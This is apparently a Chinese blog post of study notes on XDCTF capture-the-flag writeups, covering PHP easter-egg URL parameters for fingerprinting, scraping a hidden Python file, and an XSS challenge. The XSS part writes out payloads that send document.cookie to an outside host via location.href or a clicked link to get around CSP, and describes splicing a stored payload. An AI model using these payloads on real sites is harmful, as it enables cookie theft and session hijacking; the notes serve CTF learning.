About Xdctf【1】

原创

cat_in_boots 于 2014-10-14 19:25:48 发布 92 收藏
分类专栏： ctf 文章标签： ctf

由于十一假期出去玩，所以没能参加观摩ctf比赛，经过这几天对writeup的学习，学到以下各个方面的知识：

1.web20：php彩蛋

可以通过在网站域名后面加“彩蛋”来判断一个网站是否是由php编写的。是否显示php彩蛋是通过php.ini中expose_php来控制的，设置为Off则不会显示了。

只要在URL后面加?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000(PHP信息列表)

?=PHPE9568F34-D428-11d2-A769-00AA001ACF42(PHP的LOGO)

?=PHPE9568F35-D428-11d2-A769-00AA001ACF42(Zend LOGO)

?=PHPE9568F36-D428-11d2-A769-00AA001ACF42(PHP LOGO 蓝色大象)

学习目标：进一步了解php作用，使用方法

2.web200: 在地址后面加上help得到链接由于其他原因，我的网页显示了一堆乱码，按照writeup的说法应该得到下一条线索

会得到python文件，但每次访问只显示两行。于是写个简单的爬虫或用burpsuite将所有行读取出来，得到newapp.py

学习目标：学习些简单的爬虫，了解其原理

3.web250: XSS题。直接利用xss平台来加载远程js，不能执行代码（csp里限制了加载外部资源），也不能通过常规的new

Image().src

来传递cookie。需要用location.href=”http://xss.com/?cookie=”+escape(document.cookie)， 或者

vara=document.createElement("a");a.href='http://xss.com/?cookie='+escape(document.cookie);a.click();

让页面跳转到xss平台并将cookie带在参数中即可

另一个思路：注册的时候的用户名写成javascript代码，如“*/alert(1);/*”，然后发表两条留言，[/script]和[script]，

这样就能拼接而成一个完整的payload

学习目标：学习XSS题型，更深入的了解js在其中起到的作用